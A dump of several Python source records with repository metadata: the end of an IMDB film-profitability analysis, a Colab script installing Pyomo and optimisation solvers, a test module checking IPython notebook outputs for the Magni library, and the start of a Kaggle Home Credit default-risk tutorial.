marker='', color='indianred'\n             , linewidth=2, linestyle='dashed', label=\"Bottom 25% profit.\")\naxes[0].legend()\naxes[0].set_title('Profitability evolution over the years')\naxes[1].set_title('Evolution of the ratio of films that lost money')\n\nfit = np.polyfit(x, df_years.flops_ratio[df_years.films>29], 1)\naxes[1].plot(x, fit[0] * x + fit[1], color='red')\n\nfit = np.polyfit(x, df_years.revenue_ratio_median[df_years.films>29], 1)\naxes[0].plot(x, fit[0] * x + fit[1], color='red')\n\n\n# We can see that the profitability of films has not been getting better through the years. We could even argue that the trend has a downward slope, and that the ratio of films that don't even make it to breaking even is, if anything, increasing.\n\n# As it happened with the directors, the FB likes of the main cast doesn't improve the profitability of the film. If anything, it seems to be a negative correlation, probably because films with lower budgets and less known actors have a much greater potential for big profitability than big blockbusters.\n\n# #### We're going to review now what films in our database are the biggest flops. To do so, we will:\n#\n# - Filter first by films with budget lower than revenue\n# - Filter by those films with a IMDB score under 5 and at least 100 votes\n# - Finnaly, sort those films by the amount of money they lost\n\n\ndf_flops = data[data.revenue_budget_ratio<0.5][data.revenue_budget_ratio>0]\ndf_flops = df_flops[df_flops.vote_average<5][df_flops.vote_count>100]\ndf_flops['money_lost'] = (1-df_flops['revenue_budget_ratio'])*df_flops['budget']\ndf_flops.sort_values(by='money_lost',ascending=False,inplace = True)\n\n#print(df_flops[['original_title','money_lost','vote_average']])\n\nfig, ax = plt.subplots(figsize=(14,12));\nplt.style.use('ggplot')\nexplode=[0.1,0.1,0.1,0.1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\ndf_flops['money_lost'].plot(kind='pie',explode=explode, labels=df_flops.original_title, fontsize=10,shadow=True)\nplt.show()\n\ndf_flops.set_index('original_title',inplace=True)\n\nprint(df_flops[['money_lost','vote_average','revenue_budget_ratio']])\n\n\n# ### 5- What countries make the most profitable and valued films?\n#\n# As a last question, to gather the different aspects of profitable movies, we can inspect the relationship of movie characteristics between different countries\n\ndf_countries = data.groupby('country').apply(lambda x: pd.Series                                             ({'Movie_likes_mean':x.movie_facebook_likes.mean(),\n                                                'revenue_budget_ratio':x.revenue_budget_ratio.mean(),\n                                                'budget_mean':x.budget.mean(),\n                                                'revenue_mean':x.revenue.mean(),\n                                                'runtime':x.runtime.mean(),\n                                                'vote_average':x.vote_average.mean(),\n                                                'films':x.country.count()}))\n\n\n# #### - Which are the countries with a higher revenue average?\n\n#We'll filter those countries with less than 3 films in the df\n\nshowbarplot(df_countries[df_countries.films>2],'revenue_mean',col2='films'            ,tit='Countries by average film revenue',nelements=10)\n\n\n# #### - Which country makes the most profitable movies?\n\nshowbarplot(df_countries,'revenue_budget_ratio',col2='films',tit='Countries by average profitability',nelements=10)\n\n\n# It's important to note that these two previous lists are probably biased, as films from most countries don't enter IMDB unless they had enough budget or social impact, so the average revenue and revenue to budget ratios will be higher for films from those countries.\n\n# #### - Which country makes the most acclaimed films?\n\n#Filtering again by countries with more than 2 films\n\nshowbarplot(df_countries[df_countries.films>2],'vote_average',tit='Countries with top film reviews'\n            ,nelements=7, ylim=[4.5,7.5])\n\nprint(\"\\n\",df_countries[['vote_average','films','budget_mean','revenue_budget_ratio']][df_countries.films>2]      .sort_values(by=\"vote_average\",ascending=False).head())\n\n\n# #### - And which countries make the least acclaimed?\n\n#Whith the 3 films or more filter\n\nshowbarplot(df_countries[df_countries.films>2],'vote_average',tit='Countries with bottom film reviews'\n            , ylim=[4.5,7.5], nelements=7,tail=True)\n\nprint(\"\\n\",df_countries[['vote_average','films','budget_mean','revenue_budget_ratio']][df_countries.films>2]      .sort_values(by=\"vote_average\",ascending=False).tail())\n\n\n# #### - Which country makes the longest and shortest flims on average?\n\nshowbarplot(df_countries[df_countries.films>2],'runtime'\n            ,tit='Countries with at least 3 films by film duration (Top 5)',nelements=5, ylim=[80,140])\nshowbarplot(df_countries[df_countries.films>2],'runtime'\n            ,tit='Countries with at least 3 films by film duration (Bottom 5)',nelements=5,tail=True, ylim=[80,140])\n\n\n# It's courious to see how Ireland, with the highest revenue to budget ratio, makes the shortest films of all countries.\n", "meta": {"hexsha": "e3e95a938a8b079e46412da4ef566a29f5952454", "size": 23886, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/IMDB EDA.py", "max_stars_repo_name": "oxanozaep/IMDB_EDA", "max_stars_repo_head_hexsha": "638e47330dbdb21285900d67206cf7c5a95c77ea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/IMDB EDA.py", "max_issues_repo_name": "oxanozaep/IMDB_EDA", "max_issues_repo_head_hexsha": "638e47330dbdb21285900d67206cf7c5a95c77ea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/IMDB EDA.py", "max_forks_repo_name": "oxanozaep/IMDB_EDA", "max_forks_repo_head_hexsha": "638e47330dbdb21285900d67206cf7c5a95c77ea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 47.6766467066, "max_line_length": 482, "alphanum_fraction": 0.6868877167, "include": true, "reason": "import numpy", "num_tokens": 5710, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926492132671, "lm_q2_score": 0.12252320610998799, "lm_q1q2_score": 0.05506102818387065}}
{"text": "# This installation script implemented based on the notebook from Jeff Kantor\n# see that notebook for more information, examples, and testing\n# https://colab.research.google.com/github/jckantor/ND-Pyomo-Cookbook/blob/master/notebooks/01.02-Running-Pyomo-on-Google-Colab.ipynb#scrollTo=RlmSEN45glrk\n# execute this script in your google colab with the following lines\n\"\"\"\n!wget https://raw.githubusercontent.com/carldlaird/colab-utilities/main/utils/06462/install_packages_06462.py\nimport install_packages_06462\n\"\"\"\n\nimport os\nos.system('apt-get install -y -qq glpk-utils')\nos.system('apt-get install -y -qq coinor-cbc')\nos.system('wget -N -q \"https://ampl.com/dl/open/ipopt/ipopt-linux64.zip\"')\nos.system('unzip -o -q ipopt-linux64')\nos.system('pip install pyomo')\nimport pyomo.common.fileutils as fileutils\nfileutils.Executable.rehash()\nfileutils.Executable('ipopt').set_path('/content/ipopt')\n", "meta": {"hexsha": "6a4f31842f0d8925e5ad95638b16a5cc2af88737", "size": 894, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils/06462/install_packages_06462.py", "max_stars_repo_name": "carldlaird/colab-utilities", "max_stars_repo_head_hexsha": "5c6ed3ea9ea9ebf8e15d10895aa712ca2a478e9e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "utils/06462/install_packages_06462.py", "max_issues_repo_name": "carldlaird/colab-utilities", "max_issues_repo_head_hexsha": "5c6ed3ea9ea9ebf8e15d10895aa712ca2a478e9e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "utils/06462/install_packages_06462.py", "max_forks_repo_name": "carldlaird/colab-utilities", "max_forks_repo_head_hexsha": "5c6ed3ea9ea9ebf8e15d10895aa712ca2a478e9e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 47.0526315789, "max_line_length": 155, "alphanum_fraction": 0.7874720358, "include": true, "reason": "import pyomo", "num_tokens": 244, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39233681595684605, "lm_q2_score": 0.14033624589467186, "lm_q1q2_score": 0.05505907587765257}}
{"text": "\"\"\"..\n    Copyright (c) 2014-2017, Magni developers.\n    All rights reserved.\n    See LICENSE.rst for further information.\n\nModule for wrapping the Magni IPython Notebook examples.\n\n**This module is based on the \"ipnbdoctest.py\" script by Benjamin\nRagan-Kelley (MinRK)**, source: https://gist.github.com/minrk/2620735.\n\nThis assumes comparison of IPython Notebooks in nbformat.v3\n\n\"\"\"\n\nfrom __future__ import division, print_function\nimport base64\nfrom datetime import datetime\nimport os\nimport platform\nimport shutil\nimport subprocess\nimport sys\nimport unittest\nimport types\nimport warnings\ntry:\n    from Queue import Empty  # Python 2\nexcept ImportError:\n    from queue import Empty  # Python 3\ntry:\n    from StringIO import StringIO as BytesIO  # Python 2\nexcept ImportError:\n    from io import BytesIO  # Python 3\n\nimport numpy as np\nfrom pkg_resources import parse_version\nimport scipy.misc\n\nimport magni\n\n# The great \"support IPython 2, 3, 4\" strat begins\nimport IPython\ntry:\n    import jupyter\nexcept ImportError:\n    jupyter_era = False\nelse:\n    jupyter_era = True\n\nif jupyter_era:\n    # Jupyter / IPython 4.x\n    from jupyter_client import KernelManager\n    from nbformat import reads, NotebookNode\n\n    def mod_reads(file_):\n        return reads(file_, 3)  # Read notebooks as v3\n\nelse:\n    from IPython.kernel import KernelManager\n    with warnings.catch_warnings():\n        warnings.simplefilter('error')\n        try:\n            # IPython 2.x\n            from IPython.nbformat.current import reads, NotebookNode\n\n            def mod_reads(file_):\n                return reads(file_, 'json')\n\n        except UserWarning:\n            # IPython 3.x\n            from IPython.nbformat import reads, NotebookNode\n\n            def mod_reads(file_):\n                return reads(file_, 3)  # Read notebooks as v3\n\n# End of the great \"support IPython 2, 3, 4\" strat\n\n# Test for freetype library version\ntry:\n    if parse_version(\n            subprocess.check_output(\n                ['freetype-config', '--ftversion']).decode().strip()\n            ) <= parse_version('2.5.2'):\n        _skip_display_data_tests = False\n    else:\n        _skip_display_data_tests = True\nexcept OSError:\n    _skip_display_data_tests = True\n\nif _skip_display_data_tests:\n    warnings.warn('Skipping display data ipynb tests.', RuntimeWarning)\n\n\nclass _Meta(type):\n    \"\"\"\n    Identification of IPython Notebook examples and construction of test class.\n\n    \"\"\"\n\n    def __new__(class_, name, bases, attrs):\n        path = magni.__path__[0].rsplit(os.sep, 1)[0]\n        path = path + os.path.sep + 'examples' + os.path.sep\n\n        for filename in os.listdir(path):\n            if (platform.system() == 'Darwin' and\n                    sys.version_info.major == 3 and\n                    sys.version_info.minor == 3 and\n                    filename == 'utils-multiprocessing.ipynb'):\n                # Skip the broken multiprocessing on OSX Python 3.3 since case\n                warnings.warn(\n                    'Skipping multiprocessing ipynb test.', RuntimeWarning)\n                continue\n            if filename[-6:] == '.ipynb':\n                name = 'test_' + filename[:-6].replace('-', '_')\n                func = attrs['_run_example']\n                func = types.FunctionType(func.__code__, func.__globals__,\n                                          name, (path + filename,))\n                func.__doc__ = func.__doc__.format(filename)\n                attrs[name] = func\n\n        return type.__new__(class_, name, bases, attrs)\n\n\n# For python 2 and 3 compatibility\nclass _Hack(_Meta):\n    def __new__(class_, name, bases, attrs):\n        return _Meta(name, (unittest.TestCase,), attrs)\n\n\n_TestCase = type.__new__(_Hack, 'temp', (), {})\n\n\n@unittest.skipIf(\n    parse_version(IPython.__version__) <= parse_version('3.0') and\n    sys.version_info.major == 2 and\n    platform.system() == 'Darwin', 'Due to a problem in IPython, the Magni ' +\n    'Notebook example tests stall on Mac OSX with IPython 2 and Python 2.')\nclass TestIPythonExamples(_TestCase):\n    \"\"\"\n    Test of Ipython Notebook examples for equality of output to reference.\n\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        Identify IPython Notebook examples to run.\n\n        \"\"\"\n\n        path = magni.__path__[0].rsplit(os.sep, 1)[0]\n        path = path + os.path.sep + 'examples' + os.path.sep\n        files_to_copy = ['example.mi', 'data.hdf5', 'display.py']\n\n        for cfile in files_to_copy:\n            shutil.copy(os.path.join(path, cfile), '.')\n\n    def _run_example(self, ipynb):\n        \"\"\"\n        Test of {} Magni IPython Notebook example.\n\n        \"\"\"\n\n        with open(ipynb) as f_ipynb:\n            notebook = mod_reads(f_ipynb.read())\n\n        notebook_result = _check_ipynb(notebook)\n        passed, successes, failures, errors, report = notebook_result\n\n        self.assertTrue(passed, msg=report)\n        error_msg = ('Magni IPython Notebook example status:\\n' +\n                     'Successes: {}, Failures: {}, Errors: {}').format(\n                         successes, failures, errors)\n        self.assertEqual(errors + failures, 0, msg=error_msg)\n\n\ndef _check_ipynb(notebook):\n    \"\"\"\n    Check an IPython Notebook for matching input and output.\n\n    Each cell input in the `notebook` is executed and the result is compared\n    to the cell output saved in the `notebook`.\n\n    Parameters\n    ----------\n    notebook : IPython.nbformat.current.NotebookNode\n        The notebook to check for matching input and output.\n\n    Returns\n    -------\n    passed : Bool\n        The indicator of a successful check (or not).\n    sucessess : int\n        The number of cell outputs that matched.\n    failures : int\n        The number of cell outputs that failed to match.\n    errors : int\n        The number of cell executions that resulted in errors.\n    report : str\n        The report detailing possible failures and errors.\n\n    \"\"\"\n\n    kernel_manager = KernelManager()\n    kernel_manager.start_kernel()\n    kernel_client = kernel_manager.client()\n    kernel_client.start_channels()\n\n    try:\n        # IPython 3.x\n        kernel_client.wait_for_ready()\n        iopub = kernel_client\n        shell = kernel_client\n    except AttributeError:\n        # Ipython 2.x\n        # Based on https://github.com/paulgb/runipy/pull/49/files\n        iopub = kernel_client.iopub_channel\n        shell = kernel_client.shell_channel\n        shell.get_shell_msg = shell.get_msg\n        iopub.get_iopub_msg = iopub.get_msg\n\n    successes = 0\n    failures = 0\n    errors = 0\n\n    report = ''\n    for worksheet in notebook.worksheets:\n        for cell in worksheet.cells:\n            if cell.cell_type == 'code':\n                try:\n                    test_results = _execute_cell(cell, shell, iopub)\n                except RuntimeError as e:\n                    report += ('{!s} in cell number: {}'\n                               .format(e, cell.prompt_number))\n                    errors += 1\n                    break\n\n                identical_output = all(\n                    [_compare_cell_output(test_result, reference)\n                     for test_result, reference in\n                     zip(test_results, cell.outputs)])\n\n                if identical_output:\n                    successes += 1\n                else:\n                    failures += 1\n\n                    try:\n                        str_test_results = [\n                            '(for out {})\\n'.format(k) + '\\n'.join(\n                                [' : '.join([str(key), str(val)])\n                                 for key, val in t.items()\n                                 if key not in ('metadata', 'png')]\n                            ) for k, t in enumerate(test_results)]\n                        str_cell_outputs = [\n                            '(for out {})\\n'.format(k) + '\\n'.join(\n                                [' : '.join([str(key), str(val)])\n                                 for key, val in t.items()\n                                 if key not in ('metadata', 'png')]\n                            ) for k, t in enumerate(cell.outputs)]\n                    except TypeError as e:\n                        report += 'TypeError in ipynb_examples test\\n\\n'\n                        for entry in cell.outputs:\n                            if 'traceback' in entry.keys():\n                                for item in entry['traceback']:\n                                    report += str(item) + '\\n'\n                    else:\n                        report += '\\n' * 2 + '~' * 40\n                        report += (\n                            '\\nFailure in {}:{}\\nGot: {}\\n\\n\\nExpected: {}'\n                        ).format(notebook.metadata.name,\n                                 cell.prompt_number,\n                                 '\\n'.join(str_test_results),\n                                 '\\n'.join(str_cell_outputs))\n\n    kernel_client.stop_channels()\n    kernel_manager.shutdown_kernel()\n\n    passed = not (failures or errors)\n\n    return passed, successes, failures, errors, report\n\n\ndef _compare_cell_output(test_result, reference):\n    \"\"\"\n    Compare a cell test output to a reference output.\n\n    Parameters\n    ----------\n    test_results : IPython.nbformat.current.NotebookNode\n        The cell test result that must be compared to the reference.\n    reference : IPython.nbformat.current.NotebookNode\n        The reference cell output to compare to.\n\n    Returns\n    -------\n    comparison_result : bool\n        The indicator of equality between the test output and the reference.\n\n    \"\"\"\n\n    skip_compare = ['traceback', 'latex', 'prompt_number']\n\n    if _skip_display_data_tests:\n        # Skip graphics comparison\n        skip_compare.append('png')\n\n    if test_result['output_type'] == 'display_data':\n        # Prevent comparison of matplotlib figure instance memory addresses\n        skip_compare.append('text')\n        skip_compare.append('metadata')\n\n    for key in reference:\n\n        if key not in test_result:\n            raise Exception(str(reference) + '!!!!!' + str(test_result))\n            return False\n        elif key not in skip_compare:\n            if key == 'text':\n                if test_result[key].strip() != reference[key].strip():\n                    return False\n            elif key == 'png':\n                reference_img = reference[key]\n                test_img = test_result[key]\n                if not _compare_images(reference_img, test_img):\n                    return False\n            else:\n                if test_result[key] != reference[key]:\n                    return False\n\n    return True\n\n\ndef _compare_images(reference_img, test_img):\n    \"\"\"\n    Compare reference and test image to determine if they depict the same.\n\n    Two images are considered to depict the same unless:\n\n    - The image shapes differ\n    - The number of differences in non-transparant pixel values which are not\n      (likely to be) part of the image border exceeds 2.\n\n    Parameters\n    ----------\n    reference_img : str\n        The base64 encoded reference image.\n    test_img : str\n        The base64 encoded test image.\n\n    Returns\n    -------\n    comparison_result : bool\n        The idenfifier of a positive match, i.e. True if images are the same.\n\n    \"\"\"\n\n    ref_png = base64.b64decode(reference_img)\n    ref_ndarray = scipy.misc.imread(BytesIO(ref_png))\n    cmp_png = base64.b64decode(test_img)\n    cmp_ndarray = scipy.misc.imread(BytesIO(cmp_png))\n\n    # check shape of images\n    if cmp_ndarray.shape != ref_ndarray.shape:\n        print('Image shapes differ')\n        return False\n\n    # mask of channels in pixels with different values\n    diff = cmp_ndarray != ref_ndarray\n    # mask of pixels with different values\n    diff = np.any(diff, axis=2)\n    # mask of non-transparent pixels with different values\n    diff = diff * np.bool_(ref_ndarray[:, :, 3])\n\n    # check if all non-transparent pixels match\n    if diff.sum() == 0:\n        # Accept difference in tranparent pixels\n        return True\n\n    # The rest is all about checking if (it is likely to be) only the image\n    # border that has changed. The border may render differently across\n    # matplotlib versions.\n\n    # mask of black pixels\n    mask = ((ref_ndarray[:, :, 0] == 0) *\n            (ref_ndarray[:, :, 1] == 0) *\n            (ref_ndarray[:, :, 2] == 0) *\n            (ref_ndarray[:, :, 3] == 255))\n\n    # lookup table of the top most connected black pixel of the\n    # looked up pixel\n    C_N = np.zeros(mask.shape, dtype=np.int16)\n\n    for i in range(0, mask.shape[0] - 1):\n        C_N[i + 1, :] = np.logical_not(mask[i, :]) * i + mask[i, :] * C_N[i, :]\n\n    # lookup table of the right most connected black pixel of the\n    # looked up pixel\n    C_E = np.zeros(mask.shape, dtype=np.int16)\n\n    for i in range(mask.shape[1] - 1, 0, -1):\n        C_E[:, i - 1] = np.logical_not(mask[:, i]) * i + mask[:, i] * C_E[:, i]\n\n    # lookup table of the bottom most connected black pixel of the\n    # looked up pixel\n    C_S = np.zeros(mask.shape, dtype=np.int16)\n\n    for i in range(mask.shape[0] - 1, 0, -1):\n        C_S[i - 1, :] = np.logical_not(mask[i, :]) * i + mask[i, :] * C_S[i, :]\n\n    # lookup table of the left most connected black pixel of the\n    # looked up pixel\n    C_W = np.zeros(mask.shape, dtype=np.int16)\n\n    for i in range(0, mask.shape[1] - 1):\n        C_W[:, i + 1] = np.logical_not(mask[:, i]) * i + mask[:, i] * C_W[:, i]\n\n    # coordinates of non-transparent pixels with different values\n    points = np.nonzero(diff)\n    points = np.int32(points + (np.zeros(points[0].shape),)).T\n\n    # loop over non-transparent pixels with different values\n    for i, point in enumerate(points):\n        y, x = point[:2]\n\n        # find other non-transparent pixels with different values\n        # ... with the same y-coordinate\n        matches_y = np.nonzero(points[:, 0] == y)[0]\n        # ... with an x-coordinate at least 10 pixels away\n        matches_y = matches_y[np.abs(points[matches_y, 1] - x) > 10]\n        # ... which is connected by black pixels\n        matches_y = matches_y[\n            (points[matches_y, 1] >= C_W[y, x]) *\n            (points[matches_y, 1] <= C_E[y, x])]\n\n        # find other non-transparent pixels with different values\n        # ... with the same x-coordinate\n        matches_x = np.nonzero(points[:, 1] == x)[0]\n        # ... with a y-coordinate at least 10 pixels away\n        matches_x = matches_x[np.abs(points[matches_x, 0] - y) > 10]\n        # ... which is connected by black pixels\n        matches_x = matches_x[\n            (points[matches_x, 0] >= C_N[y, x]) *\n            (points[matches_x, 0] <= C_S[y, x])]\n\n        if len(matches_y) + len(matches_x) == 0:\n            # this pixel cannot be the corner of a box\n            break\n\n        for j in matches_y:\n            for k in matches_x:\n                # loop over combinations of possible boxes\n                y_test = points[k, 0]\n                x_test = points[j, 1]\n\n                if not C_W[y_test, x] <= x_test <= C_E[y_test, x]:\n                    # one horizontal line of the box isn't black\n                    continue\n\n                if not C_N[y, x_test] <= y_test <= C_S[y, x_test]:\n                    # one vertical line of the box isn't black\n                    continue\n\n                # the box is a box and the corners are flagged\n                points[i, 2] = points[j, 2] = points[k, 2] = 1\n\n    if points.shape[0] - np.sum(points[:, 2]) > 2:\n        print('The images differ by {} pixels'.format(\n            points.shape[0] - np.sum(points[:, 2])))\n\n        # Save images and their difference for visual inspection\n        fail_txt = 'Notebook test fail '\n        utcnow = datetime.utcnow\n        scipy.misc.imsave(fail_txt + str(utcnow()) + 'r' + '.png', ref_ndarray)\n        scipy.misc.imsave(fail_txt + str(utcnow()) + 't' + '.png', cmp_ndarray)\n        img_diff = cmp_ndarray - ref_ndarray\n        scipy.misc.imsave(fail_txt + str(utcnow()) + 'd' + '.png', img_diff)\n\n        return False\n\n    return True\n\n\ndef _execute_cell(cell, shell, iopub, timeout=300):\n    \"\"\"\n    Execute an IPython Notebook Cell and return the cell output.\n\n    Parameters\n    ----------\n    cell : IPython.nbformat.current.NotebookNode\n        The IPython Notebook cell to execute.\n    shell : IPython.kernel.blocking.channels.BlockingShellChannel\n        The shell channel which the cell is submitted to for execution.\n    iopub : IPython.kernel.blocking.channels.BlockingIOPubChannel\n        The iopub channel used to retrieve the result of the execution.\n    timeout : int\n        The number of seconds to wait for the execution to finish before giving\n        up.\n\n    Returns\n    -------\n    cell_outputs : list\n        The list of NotebookNodes holding the result of the execution.\n\n    \"\"\"\n\n    # Execute input\n    shell.execute(cell.input)\n    exe_result = shell.get_shell_msg(timeout=timeout)\n    if exe_result['content']['status'] == 'error':\n        raise RuntimeError('Failed to execute cell due to error: {!r}'.format(\n            str(exe_result['content']['evalue'])))\n\n    cell_outputs = list()\n\n    # Poll for iopub messages until no more messages are available\n    while True:\n        try:\n            msg = iopub.get_iopub_msg(timeout=0.5)\n        except Empty:\n            break\n\n        msg_type = msg['msg_type']\n        if msg_type in ('status', 'pyin', 'execute_input', 'execute_result'):\n            continue\n\n        content = msg['content']\n        node = NotebookNode(output_type=msg_type)\n\n        if msg_type == 'stream':\n            node.stream = content['name']\n            if 'text' in content:\n                # v4 notebook format\n                node.text = content['text']\n            else:\n                # v3 notebook format\n                node.text = content['data']\n\n            bug_text = 'Using Anaconda Cloud api site https://api.anaconda.org'\n            if bug_text in node.text:\n                # Ignore conda (spam) messages/warnings\n                continue\n        elif msg_type in ('display_data', 'pyout'):\n            node['metadata'] = content['metadata']\n            for mime, data in content['data'].items():\n                attr = mime.split('/')[-1].lower()\n                attr = attr.replace('+xml', '').replace('plain', 'text')\n                setattr(node, attr, data)\n            if msg_type == 'pyout':\n                node.prompt_number = content['execution_count']\n        elif msg_type == 'pyerr':\n            node.ename = content['ename']\n            node.evalue = content['evalue']\n            node.traceback = content['traceback']\n        else:\n            raise RuntimeError('Unhandled iopub message of type: {}'.format(\n                msg_type))\n\n        cell_outputs.append(node)\n\n    return cell_outputs\n", "meta": {"hexsha": "1f4fccb8b4f94c5e1da9d5b500e0a90626e34f89", "size": 18779, "ext": "py", "lang": "Python", "max_stars_repo_path": "magni/tests/ipynb_examples.py", "max_stars_repo_name": "SIP-AAU/Magni", "max_stars_repo_head_hexsha": "6328dc98a273506f433af52e6bd394754a844550", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 42, "max_stars_repo_stars_event_min_datetime": "2015-02-09T10:17:26.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-21T09:38:04.000Z", "max_issues_repo_path": "magni/tests/ipynb_examples.py", "max_issues_repo_name": "SIP-AAU/Magni", "max_issues_repo_head_hexsha": "6328dc98a273506f433af52e6bd394754a844550", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2015-03-20T12:00:40.000Z", "max_issues_repo_issues_event_max_datetime": "2015-03-20T12:01:16.000Z", "max_forks_repo_path": "magni/tests/ipynb_examples.py", "max_forks_repo_name": "SIP-AAU/Magni", "max_forks_repo_head_hexsha": "6328dc98a273506f433af52e6bd394754a844550", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2015-04-28T03:08:32.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-24T13:29:24.000Z", "avg_line_length": 33.4741532977, "max_line_length": 79, "alphanum_fraction": 0.5772937856, "include": true, "reason": "import numpy,import scipy", "num_tokens": 4297, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.29421498454004374, "lm_q2_score": 0.18713268896245425, "lm_q1q2_score": 0.055057241190025294}}
{"text": "#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\n# # Introduction: Home Credit Default Risk Competition\r\n# \r\n# This notebook is intended for those who are new to machine learning competitions or want a gentle introduction to the problem. I purposely avoid jumping into complicated models or joining together lots of data in order to show the basics of how to get started in machine learning! Any comments or suggestions are much appreciated.\r\n# \r\n# In this notebook, we will take an initial look at the Home Credit default risk machine learning competition currently hosted on Kaggle. The objective of this competition is to use historical loan application data to predict whether or not an applicant will be able to repay a loan. This is a standard supervised classification task:\r\n# \r\n# * __Supervised__: The labels are included in the training data and the goal is to train a model to learn to predict the labels from the features\r\n# * __Classification__: The label is a binary variable, 0 (will repay loan on time), 1 (will have difficulty repaying loan)\r\n# \r\n# \r\n# # Data\r\n# \r\n# The data is provided by [Home Credit](http://www.homecredit.net/about-us.aspx), a service dedicated to provided lines of credit (loans) to the unbanked population. Predicting whether or not a client will repay a loan or have difficulty is a critical business need, and Home Credit is hosting this competition on Kaggle to see what sort of models the machine learning community can develop to help them in this task. \r\n# \r\n# There are 7 different sources of data:\r\n# \r\n# * application_train/application_test: the main training and testing data with information about each loan application at Home Credit. Every loan has its own row and is identified by the feature `SK_ID_CURR`. The training application data comes with the `TARGET` indicating 0: the loan was repaid or 1: the loan was not repaid. \r\n# * bureau: data concerning client's previous credits from other financial institutions. Each previous credit has its own row in bureau, but one loan in the application data can have multiple previous credits.\r\n# * bureau_balance: monthly data about the previous credits in bureau. Each row is one month of a previous credit, and a single previous credit can have multiple rows, one for each month of the credit length. \r\n# * previous_application: previous applications for loans at Home Credit of clients who have loans in the application data. Each current loan in the application data can have multiple previous loans. Each previous application has one row and is identified by the feature `SK_ID_PREV`. \r\n# * POS_CASH_BALANCE: monthly data about previous point of sale or cash loans clients have had with Home Credit. Each row is one month of a previous point of sale or cash loan, and a single previous loan can have many rows.\r\n# * credit_card_balance: monthly data about previous credit cards clients have had with Home Credit. Each row is one month of a credit card balance, and a single credit card can have many rows.\r\n# * installments_payment: payment history for previous loans at Home Credit. There is one row for every made payment and one row for every missed payment. \r\n# \r\n# This diagram shows how all of the data is related:\r\n# \r\n# ![image](https://storage.googleapis.com/kaggle-media/competitions/home-credit/home_credit.png)\r\n# \r\n# Moreover, we are provided with the definitions of all the columns (in `HomeCredit_columns_description.csv`) and an example of the expected submission file. \r\n# \r\n# In this notebook, we will stick to using only the main application training and testing data. Although if we want to have any hope of seriously competing, we need to use all the data, for now we will stick to one file which should be more manageable. This will let us establish a baseline that we can then improve upon. With these projects, it's best to build up an understanding of the problem a little at a time rather than diving all the way in and getting completely lost! \r\n# \r\n# ## Metric: ROC AUC\r\n# \r\n# Once we have a grasp of the data (reading through the [column descriptions](https://www.kaggle.com/c/home-credit-default-risk/data) helps immensely), we need to understand the metric by which our submission is judged. In this case, it is a common classification metric known as the [Receiver Operating Characteristic Area Under the Curve (ROC AUC, also sometimes called AUROC)](https://stats.stackexchange.com/questions/132777/what-does-auc-stand-for-and-what-is-it).\r\n# \r\n# The ROC AUC may sound intimidating, but it is relatively straightforward once you can get your head around the two individual concepts. The [Reciever Operating Characteristic (ROC) curve](https://en.wikipedia.org/wiki/Receiver_operating_characteristic) graphs the true positive rate versus the false positive rate:\r\n# \r\n# ![image](http://www.statisticshowto.com/wp-content/uploads/2016/08/ROC-curve.png)\r\n# \r\n# A single line on the graph indicates the curve for a single model, and movement along a line indicates changing the threshold used for classifying a positive instance. The threshold starts at 0 in the upper right to and goes to 1 in the lower left. A curve that is to the left and above another curve indicates a better model. For example, the blue model is better than the red model, which is better than the black diagonal line which indicates a naive random guessing model. \r\n# \r\n# The [Area Under the Curve (AUC)](http://gim.unmc.edu/dxtests/roc3.htm) explains itself by its name! It is simply the area under the ROC curve. (This is the integral of the curve.) This metric is between 0 and 1 with a better model scoring higher. A model that simply guesses at random will have an ROC AUC of 0.5.\r\n# \r\n# When we measure a classifier according to the ROC AUC, we do not generation 0 or 1 predictions, but rather a probability between 0 and 1. This may be confusing because we usually like to think in terms of accuracy, but when we get into problems with inbalanced classes (we will see this is the case), accuracy is not the best metric. For example, if I wanted to build a model that could detect terrorists with 99.9999% accuracy, I would simply make a model that predicted every single person was not a terrorist. Clearly, this would not be effective (the recall would be zero) and we use more advanced metrics such as ROC AUC or the [F1 score](https://en.wikipedia.org/wiki/F1_score) to more accurately reflect the performance of a classifier. A model with a high ROC AUC will also have a high accuracy, but the [ROC AUC is a better representation of model performance.](https://datascience.stackexchange.com/questions/806/advantages-of-auc-vs-standard-accuracy)\r\n# \r\n# Not that we know the background of the data we are using and the metric to maximize, let's get into exploring the data. In this notebook, as mentioned previously, we will stick to the main data sources and simple models which we can build upon in future work. \r\n# \r\n# __Follow-up Notebooks__\r\n# \r\n# For those looking to keep working on this problem, I have a series of follow-up notebooks:\r\n# \r\n# * [Manual Feature Engineering Part One](https://www.kaggle.com/willkoehrsen/introduction-to-manual-feature-engineering)\r\n# * [Manual Feature 